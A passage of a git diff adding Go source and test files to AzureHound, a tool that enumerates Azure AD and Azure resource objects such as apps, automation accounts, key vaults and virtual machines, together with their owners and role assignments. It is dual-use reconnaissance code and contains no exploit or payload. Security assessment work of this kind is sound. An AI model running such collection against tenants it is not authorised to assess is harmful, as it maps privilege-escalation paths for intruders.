mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + mockClient.EXPECT().ListAzureADAppOwners(gomock.Any(), gomock.Any(), gomock.Any()).Return(mockAppOwnerChannel).Times(1) + mockClient.EXPECT().ListAzureADAppOwners(gomock.Any(), gomock.Any(), gomock.Any()).Return(mockAppOwnerChannel2).Times(1) + channel := listAppOwners(ctx, mockClient, mockAppsChannel) + + go func() { + defer close(mockAppsChannel) + mockAppsChannel <- NewAzureWrapper(enums.KindAZApp, models.App{}) + mockAppsChannel <- NewAzureWrapper(enums.KindAZApp, models.App{}) + }() + go func() { + defer close(mockAppOwnerChannel) + mockAppOwnerChannel <- client.AzureResult[json.RawMessage]{ + Ok: json.RawMessage{}, + } + mockAppOwnerChannel <- client.AzureResult[json.RawMessage]{ + Ok: json.RawMessage{}, + } + }() + go func() { + defer close(mockAppOwnerChannel2) + mockAppOwnerChannel2 <- client.AzureResult[json.RawMessage]{ + Ok: json.RawMessage{}, + } + mockAppOwnerChannel2 <- client.AzureResult[json.RawMessage]{ + Error: mockError, + } + }() + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if len(result.Data.Owners) != 2 { + t.Errorf("got %v, want %v", len(result.Data.Owners), 2) + } + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if len(result.Data.Owners) != 1 { + t.Errorf("got %v, want %v", len(result.Data.Owners), 2) + } +} diff --git a/cmd/list-app-role-assignments.go b/cmd/list-app-role-assignments.go new file mode 100644 index 0000000..675df4e --- /dev/null +++ b/cmd/list-app-role-assignments.go @@ -0,0 +1,131 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listAppRoleAssignmentsCmd) +} + +var listAppRoleAssignmentsCmd = &cobra.Command{ + Use: "app-role-assignments", + Long: "Lists Azure Active Directory App Role Assignments", + Run: listAppRoleAssignmentsCmdImpl, + SilenceUsage: true, +} + +func listAppRoleAssignmentsCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure active directory app role assignments...") + start := time.Now() + servicePrincipals := listServicePrincipals(ctx, azClient) + stream := listAppRoleAssignments(ctx, azClient, servicePrincipals) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listAppRoleAssignments(ctx context.Context, client client.AzureClient, servicePrincipals <-chan interface{}) <-chan interface{} { + var ( + out = make(chan interface{}) + filteredSPs = make(chan models.ServicePrincipal) + streams = pipeline.Demux(ctx.Done(), filteredSPs, config.ColStreamCount.Value().(int)) + wg sync.WaitGroup + ) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(filteredSPs) + + for result := range pipeline.OrDone(ctx.Done(), servicePrincipals) { + if servicePrincipal, ok := result.(AzureWrapper).Data.(models.ServicePrincipal); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating app role assignments", "result", result) + return + } else { + if len(servicePrincipal.AppRoles) != 0 { + if ok := pipeline.Send(ctx.Done(), filteredSPs, servicePrincipal); !ok { + return + } + } + } + } + }() + + wg.Add(len(streams)) + for i := range streams { + stream := streams[i] + go func() { + defer panicrecovery.PanicRecovery() + defer wg.Done() + for servicePrincipal := range stream { + var ( + count = 0 + ) + for item := range client.ListAzureADAppRoleAssignments(ctx, servicePrincipal.Id, query.GraphParams{}) { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing app role assignments for this service principal", "servicePrincipalId", servicePrincipal) + } else { + log.V(2).Info("found app role assignment", "roleAssignments", item) + count++ + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZAppRoleAssignment, + Data: models.AppRoleAssignment{ + AppRoleAssignment: item.Ok, + AppId: servicePrincipal.AppId, + TenantId: client.TenantInfo().TenantId, + }, + }); !ok { + return + } + } + } + log.V(1).Info("finished listing app role assignments", "appId", servicePrincipal.AppId, "servicePrincipalId", servicePrincipal.Id, "count", count) + } + }() + } + + go func() { + wg.Wait() + close(out) + log.Info("finished listing all app role assignments") + }() + + return out +} diff --git a/cmd/list-apps.go b/cmd/list-apps.go new file mode 100644 index 0000000..aabec3e --- /dev/null +++ b/cmd/list-apps.go @@ -0,0 +1,91 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "os" + "os/signal" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listAppsCmd) +} + +var listAppsCmd = &cobra.Command{ + Use: "apps", + Long: "Lists Azure Active Directory Applications", + Run: listAppsCmdImpl, + SilenceUsage: true, +} + +func listAppsCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure active directory applications...") + start := time.Now() + stream := listApps(ctx, azClient) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listApps(ctx context.Context, client client.AzureClient) <-chan azureWrapper[models.App] { + out := make(chan azureWrapper[models.App]) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(out) + count := 0 + for item := range client.ListAzureADApps(ctx, query.GraphParams{}) { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing applications") + return + } else { + log.V(2).Info("found application", "app", item) + count++ + if ok := pipeline.Send(ctx.Done(), out, NewAzureWrapper( + enums.KindAZApp, + models.App{ + Application: item.Ok, + TenantId: client.TenantInfo().TenantId, + TenantName: client.TenantInfo().DisplayName, + }, + )); !ok { + return + } + } + } + log.Info("finished listing all apps", "count", count) + }() + + return out +} diff --git a/cmd/list-apps_test.go b/cmd/list-apps_test.go new file mode 100644 index 0000000..136d8f0 --- /dev/null +++ b/cmd/list-apps_test.go @@ -0,0 +1,65 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListApps(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + mockChannel := make(chan client.AzureResult[azure.Application]) + mockTenant := azure.Tenant{} + mockError := fmt.Errorf("I'm an error") + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + mockClient.EXPECT().ListAzureADApps(gomock.Any(), gomock.Any()).Return(mockChannel) + + go func() { + defer close(mockChannel) + mockChannel <- client.AzureResult[azure.Application]{ + Ok: azure.Application{}, + } + mockChannel <- client.AzureResult[azure.Application]{ + Error: mockError, + } + mockChannel <- client.AzureResult[azure.Application]{ + Ok: azure.Application{}, + } + }() + + channel := listApps(ctx, mockClient) + <-channel + if _, ok := <-channel; ok { + t.Error("expected channel to close from an error result but it did not") + } +} diff --git a/cmd/list-automation-account-role-assignments.go b/cmd/list-automation-account-role-assignments.go new file mode 100644 index 0000000..8627b22 --- /dev/null +++ b/cmd/list-automation-account-role-assignments.go @@ -0,0 +1,136 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "path" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listAutomationAccountRoleAssignment) +} + +var listAutomationAccountRoleAssignment = &cobra.Command{ + Use: "automation-account-role-assignments", + Long: "Lists Azure Automation Account Role Assignments", + Run: listAutomationAccountRoleAssignmentImpl, + SilenceUsage: true, +} + +func listAutomationAccountRoleAssignmentImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure automation account role assignments...") + start := time.Now() + subscriptions := listSubscriptions(ctx, azClient) + stream := listAutomationAccountRoleAssignments(ctx, azClient, listAutomationAccounts(ctx, azClient, subscriptions)) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listAutomationAccountRoleAssignments(ctx context.Context, client client.AzureClient, automationAccounts <-chan interface{}) <-chan interface{} { + var ( + out = make(chan interface{}) + ids = make(chan string) + streams = pipeline.Demux(ctx.Done(), ids, config.ColStreamCount.Value().(int)) + wg sync.WaitGroup + ) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(ids) + + for result := range pipeline.OrDone(ctx.Done(), automationAccounts) { + if automationAccount, ok := result.(AzureWrapper).Data.(models.AutomationAccount); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating automation account role assignments", "result", result) + return + } else { + if ok := pipeline.Send(ctx.Done(), ids, automationAccount.Id); !ok { + return + } + } + } + }() + + wg.Add(len(streams)) + for i := range streams { + stream := streams[i] + go func() { + defer panicrecovery.PanicRecovery() + defer wg.Done() + for id := range stream { + var ( + automationAccountRoleAssignments = models.AzureRoleAssignments{ + ObjectId: id, + } + count = 0 + ) + for item := range client.ListRoleAssignmentsForResource(ctx, id, "", "") { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing role assignments for this automation account", "automationAccountId", id) + } else { + roleDefinitionId := path.Base(item.Ok.Properties.RoleDefinitionId) + + automationAccountRoleAssignment := models.AzureRoleAssignment{ + Assignee: item.Ok, + ObjectId: id, + RoleDefinitionId: roleDefinitionId, + } + log.V(2).Info("found automation account role assignment", "automationAccountRoleAssignment", automationAccountRoleAssignment) + count++ + automationAccountRoleAssignments.RoleAssignments = append(automationAccountRoleAssignments.RoleAssignments, automationAccountRoleAssignment) + } + } + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZAutomationAccountRoleAssignment, + Data: automationAccountRoleAssignments, + }); !ok { + return + } + log.V(1).Info("finished listing automation account role assignments", "automationAccountId", id, "count", count) + } + }() + } + + go func() { + wg.Wait() + close(out) + log.Info("finished listing all automation account role assignments") + }() + + return out +} diff --git a/cmd/list-automation-accounts.go b/cmd/list-automation-accounts.go new file mode 100644 index 0000000..736650a --- /dev/null +++ b/cmd/list-automation-accounts.go @@ -0,0 +1,127 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listAutomationAccountsCmd) +} + +var listAutomationAccountsCmd = &cobra.Command{ + Use: "automation-accounts", + Long: "Lists Azure Automation Accounts", + Run: listAutomationAccountsCmdImpl, + SilenceUsage: true, +} + +func listAutomationAccountsCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure automation accounts...") + start := time.Now() + stream := listAutomationAccounts(ctx, azClient, listSubscriptions(ctx, azClient)) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listAutomationAccounts(ctx context.Context, client client.AzureClient, subscriptions <-chan interface{}) <-chan interface{} { + var ( + out = make(chan interface{}) + ids = make(chan string) + streams = pipeline.Demux(ctx.Done(), ids, config.ColStreamCount.Value().(int)) + wg sync.WaitGroup + ) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(ids) + for result := range pipeline.OrDone(ctx.Done(), subscriptions) { + if subscription, ok := result.(AzureWrapper).Data.(models.Subscription); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating automation accounts", "result", result) + return + } else { + if ok := pipeline.Send(ctx.Done(), ids, subscription.SubscriptionId); !ok { + return + } + } + } + }() + + wg.Add(len(streams)) + for i := range streams { + stream := streams[i] + go func() { + defer panicrecovery.PanicRecovery() + defer wg.Done() + for id := range stream { + count := 0 + for item := range client.ListAzureAutomationAccounts(ctx, id) { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing automation accounts for this subscription", "subscriptionId", id) + } else { + resourceGroupId := item.Ok.ResourceGroupId() + automationAccount := models.AutomationAccount{ + AutomationAccount: item.Ok, + SubscriptionId: "/subscriptions/" + id, + ResourceGroupId: resourceGroupId, + TenantId: client.TenantInfo().TenantId, + } + log.V(2).Info("found automation account", "automationAccount", automationAccount) + count++ + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZAutomationAccount, + Data: automationAccount, + }); !ok { + return + } + } + } + log.V(1).Info("finished listing automation accounts", "subscriptionId", id, "count", count) + } + }() + } + + go func() { + wg.Wait() + close(out) + log.Info("finished listing all automation accounts") + }() + + return out +} diff --git a/cmd/list-azure-ad.go b/cmd/list-azure-ad.go new file mode 100644 index 0000000..bca217d --- /dev/null +++ b/cmd/list-azure-ad.go @@ -0,0 +1,130 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listAzureADCmd) +} + +var listAzureADCmd = &cobra.Command{ + Use: "az-ad", + Long: "Lists All Azure AD Entities", + PersistentPreRunE: persistentPreRunE, + Run: listAzureADCmdImpl, + SilenceUsage: true, +} + +func listAzureADCmdImpl(cmd *cobra.Command, args []string) { + if len(args) > 0 { + exit(fmt.Errorf("unsupported subcommand: %v", args)) + } + + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure ad objects...") + start := time.Now() + stream := listAllAD(ctx, azClient) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listAllAD(ctx context.Context, client client.AzureClient) <-chan interface{} { + var ( + devices = make(chan interface{}) + devices2 = make(chan interface{}) + + groups = make(chan interface{}) + groups2 = make(chan interface{}) + groups3 = make(chan interface{}) + + roles = make(chan interface{}) + roles2 = make(chan interface{}) + + servicePrincipals = make(chan interface{}) + servicePrincipals2 = make(chan interface{}) + servicePrincipals3 = make(chan interface{}) + + tenants = make(chan interface{}) + ) + + // Enumerate Apps, AppOwners and AppMembers + appChans := pipeline.TeeFixed(ctx.Done(), listApps(ctx, client), 2) + apps := pipeline.ToAny(ctx.Done(), appChans[0]) + appOwners := pipeline.ToAny(ctx.Done(), listAppOwners(ctx, client, appChans[1])) + + // Enumerate Devices and DeviceOwners + pipeline.Tee(ctx.Done(), listDevices(ctx, client), devices, devices2) + deviceOwners := listDeviceOwners(ctx, client, devices2) + + // Enumerate Groups, GroupOwners and GroupMembers + pipeline.Tee(ctx.Done(), listGroups(ctx, client), groups, groups2, groups3) + groupOwners := listGroupOwners(ctx, client, groups2) + groupMembers := listGroupMembers(ctx, client, groups3) + + // Enumerate ServicePrincipals and ServicePrincipalOwners + pipeline.Tee(ctx.Done(), listServicePrincipals(ctx, client), servicePrincipals, servicePrincipals2, servicePrincipals3) + servicePrincipalOwners := listServicePrincipalOwners(ctx, client, servicePrincipals2) + + // Enumerate Tenants + pipeline.Tee(ctx.Done(), listTenants(ctx, client), tenants) + + // Enumerate Users + users := listUsers(ctx, client) + + // Enumerate Roles and RoleAssignments + pipeline.Tee(ctx.Done(), listRoles(ctx, client), roles, roles2) + roleAssignments := listRoleAssignments(ctx, client, roles2) + + // Enumerate AppRoleAssignments + appRoleAssignments := listAppRoleAssignments(ctx, client, servicePrincipals3) + + return pipeline.Mux(ctx.Done(), + appOwners, + appRoleAssignments, + apps, + deviceOwners, + devices, + groupMembers, + groupOwners, + groups, + roleAssignments, + roles, + servicePrincipalOwners, + servicePrincipals, + tenants, + users, + ) +} diff --git a/cmd/list-azure-rm.go b/cmd/list-azure-rm.go new file mode 100644 index 0000000..b377e58 --- /dev/null +++ b/cmd/list-azure-rm.go @@ -0,0 +1,251 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listAzureRMCmd) +} + +var listAzureRMCmd = &cobra.Command{ + Use: "az-rm", + Long: "Lists All Azure RM Entities", + PersistentPreRunE: persistentPreRunE, + Run: listAzureRMCmdImpl, + SilenceUsage: true, +} + +func listAzureRMCmdImpl(cmd *cobra.Command, args []string) { + if len(args) > 0 { + exit(fmt.Errorf("unsupported subcommand: %v", args)) + } + + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure resource management objects...") + start := time.Now() + stream := listAllRM(ctx, azClient) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listAllRM(ctx context.Context, client client.AzureClient) <-chan interface{} { + var ( + functionApps = make(chan interface{}) + functionApps2 = make(chan interface{}) + + webApps = make(chan interface{}) + webApps2 = make(chan interface{}) + + automationAccounts = make(chan interface{}) + automationAccounts2 = make(chan interface{}) + + containerRegistries = make(chan interface{}) + containerRegistries2 = make(chan interface{}) + + logicApps = make(chan interface{}) + logicApps2 = make(chan interface{}) + + managedClusters = make(chan interface{}) + managedClusters2 = make(chan interface{}) + + vmScaleSets = make(chan interface{}) + vmScaleSets2 = make(chan interface{}) + + keyVaults = make(chan interface{}) + keyVaults2 = make(chan interface{}) + keyVaults3 = make(chan interface{}) + keyVaultRoleAssignments1 = make(chan azureWrapper[models.KeyVaultRoleAssignments]) + keyVaultRoleAssignments2 = make(chan azureWrapper[models.KeyVaultRoleAssignments]) + keyVaultRoleAssignments3 = make(chan azureWrapper[models.KeyVaultRoleAssignments]) + keyVaultRoleAssignments4 = make(chan azureWrapper[models.KeyVaultRoleAssignments]) + + mgmtGroups = make(chan interface{}) + mgmtGroups2 = make(chan interface{}) + mgmtGroups3 = make(chan interface{}) + mgmtGroupRoleAssignments1 = make(chan azureWrapper[models.ManagementGroupRoleAssignments]) + mgmtGroupRoleAssignments2 = make(chan azureWrapper[models.ManagementGroupRoleAssignments]) + + resourceGroups = make(chan interface{}) + resourceGroups2 = make(chan interface{}) + resourceGroupRoleAssignments1 = make(chan azureWrapper[models.ResourceGroupRoleAssignments]) + resourceGroupRoleAssignments2 = make(chan azureWrapper[models.ResourceGroupRoleAssignments]) + + subscriptions = make(chan interface{}) + subscriptions2 = make(chan interface{}) + subscriptions3 = make(chan interface{}) + subscriptions4 = make(chan interface{}) + subscriptions5 = make(chan interface{}) + subscriptions6 = make(chan interface{}) + subscriptions7 = make(chan interface{}) + subscriptions8 = make(chan interface{}) + subscriptions9 = make(chan interface{}) + subscriptions10 = make(chan interface{}) + subscriptions11 = make(chan interface{}) + subscriptions12 = make(chan interface{}) + subscriptionRoleAssignments1 = make(chan interface{}) + subscriptionRoleAssignments2 = make(chan interface{}) + + virtualMachines = make(chan interface{}) + virtualMachines2 = make(chan interface{}) + virtualMachineRoleAssignments1 = make(chan azureWrapper[models.VirtualMachineRoleAssignments]) + virtualMachineRoleAssignments2 = make(chan azureWrapper[models.VirtualMachineRoleAssignments]) + virtualMachineRoleAssignments3 = make(chan azureWrapper[models.VirtualMachineRoleAssignments]) + virtualMachineRoleAssignments4 = make(chan azureWrapper[models.VirtualMachineRoleAssignments]) + virtualMachineRoleAssignments5 = make(chan azureWrapper[models.VirtualMachineRoleAssignments]) + ) + + // Enumerate entities + pipeline.Tee(ctx.Done(), listManagementGroups(ctx, client), mgmtGroups, mgmtGroups2, mgmtGroups3) + pipeline.Tee(ctx.Done(), listSubscriptions(ctx, client), + subscriptions, + subscriptions2, + subscriptions3, + subscriptions4, + subscriptions5, + subscriptions6, + subscriptions7, + subscriptions8, + subscriptions9, + subscriptions10, + subscriptions11, + subscriptions12, + ) + pipeline.Tee(ctx.Done(), listResourceGroups(ctx, client, subscriptions2), resourceGroups, resourceGroups2) + pipeline.Tee(ctx.Done(), listKeyVaults(ctx, client, subscriptions3), keyVaults, keyVaults2, keyVaults3) + pipeline.Tee(ctx.Done(), listVirtualMachines(ctx, client, subscriptions4), virtualMachines, virtualMachines2) + pipeline.Tee(ctx.Done(), listFunctionApps(ctx, client, subscriptions6), functionApps, functionApps2) + pipeline.Tee(ctx.Done(), listWebApps(ctx, client, subscriptions7), webApps, webApps2) + pipeline.Tee(ctx.Done(), listAutomationAccounts(ctx, client, subscriptions8), automationAccounts, automationAccounts2) + pipeline.Tee(ctx.Done(), listContainerRegistries(ctx, client, subscriptions9), containerRegistries, containerRegistries2) + pipeline.Tee(ctx.Done(), listLogicApps(ctx, client, subscriptions10), logicApps, logicApps2) + pipeline.Tee(ctx.Done(), listManagedClusters(ctx, client, subscriptions11), managedClusters, managedClusters2) + pipeline.Tee(ctx.Done(), listVMScaleSets(ctx, client, subscriptions12), vmScaleSets, vmScaleSets2) + + // Enumerate Relationships + // ManagementGroups: Descendants, Owners and UserAccessAdmins + mgmtGroupDescendants := listManagementGroupDescendants(ctx, client, mgmtGroups2) + pipeline.Tee(ctx.Done(), listManagementGroupRoleAssignments(ctx, client, mgmtGroups3), mgmtGroupRoleAssignments1, mgmtGroupRoleAssignments2) + mgmtGroupOwners := listManagementGroupOwners(ctx, mgmtGroupRoleAssignments1) + mgmtGroupUserAccessAdmins := listManagementGroupUserAccessAdmins(ctx, mgmtGroupRoleAssignments2) + + // Subscriptions: Owners and UserAccessAdmins + pipeline.Tee(ctx.Done(), listSubscriptionRoleAssignments(ctx, client, subscriptions5), subscriptionRoleAssignments1, subscriptionRoleAssignments2) + subscriptionOwners := listSubscriptionOwners(ctx, client, subscriptionRoleAssignments1) + subscriptionUserAccessAdmins := listSubscriptionUserAccessAdmins(ctx, client, subscriptionRoleAssignments2) + + // ResourceGroups: Owners and UserAccessAdmins + pipeline.Tee(ctx.Done(), listResourceGroupRoleAssignments(ctx, client, resourceGroups2), resourceGroupRoleAssignments1, resourceGroupRoleAssignments2) + resourceGroupOwners := listResourceGroupOwners(ctx, resourceGroupRoleAssignments1) + resourceGroupUserAccessAdmins := listResourceGroupUserAccessAdmins(ctx, resourceGroupRoleAssignments2) + + // KeyVaults: AccessPolicies, Owners, UserAccessAdmins, Contributors and KVContributors + pipeline.Tee(ctx.Done(), listKeyVaultRoleAssignments(ctx, client, keyVaults2), keyVaultRoleAssignments1, keyVaultRoleAssignments2, keyVaultRoleAssignments3, keyVaultRoleAssignments4) + keyVaultAccessPolicies := listKeyVaultAccessPolicies(ctx, client, keyVaults3, []enums.KeyVaultAccessType{enums.GetCerts, enums.GetKeys, enums.GetCerts}) + keyVaultOwners := listKeyVaultOwners(ctx, keyVaultRoleAssignments1) + keyVaultUserAccessAdmins := listKeyVaultUserAccessAdmins(ctx, keyVaultRoleAssignments2) + keyVaultContributors := listKeyVaultContributors(ctx, keyVaultRoleAssignments3) + keyVaultKVContributors := listKeyVaultKVContributors(ctx, keyVaultRoleAssignments4) + + // VirtualMachines: Owners, AvereContributors, Contributors, AdminLogins and UserAccessAdmins + pipeline.Tee(ctx.Done(), listVirtualMachineRoleAssignments(ctx, client, virtualMachines2), virtualMachineRoleAssignments1, virtualMachineRoleAssignments2, virtualMachineRoleAssignments3, virtualMachineRoleAssignments4, virtualMachineRoleAssignments5) + virtualMachineOwners := listVirtualMachineOwners(ctx, virtualMachineRoleAssignments1) + virtualMachineAvereContributors := listVirtualMachineAvereContributors(ctx, virtualMachineRoleAssignments2) + virtualMachineContributors := listVirtualMachineContributors(ctx, virtualMachineRoleAssignments3) + virtualMachineAdminLogins := listVirtualMachineAdminLogins(ctx, virtualMachineRoleAssignments4) + virtualMachineUserAccessAdmins := listVirtualMachineUserAccessAdmins(ctx, virtualMachineRoleAssignments5) + + // Enumerate Function App Role Assignments + functionAppRoleAssignments := listFunctionAppRoleAssignments(ctx, client, functionApps2) + + // Enumerate Web App Role Assignments + webAppRoleAssignments := listWebAppRoleAssignments(ctx, client, webApps2) + + // Enumerate Automation Account Role Assignments + automationAccountRoleAssignments := listAutomationAccountRoleAssignments(ctx, client, automationAccounts2) + + // Enumerate Container Registry Role Assignments + containerRegistryRoleAssignments := listContainerRegistryRoleAssignments(ctx, client, 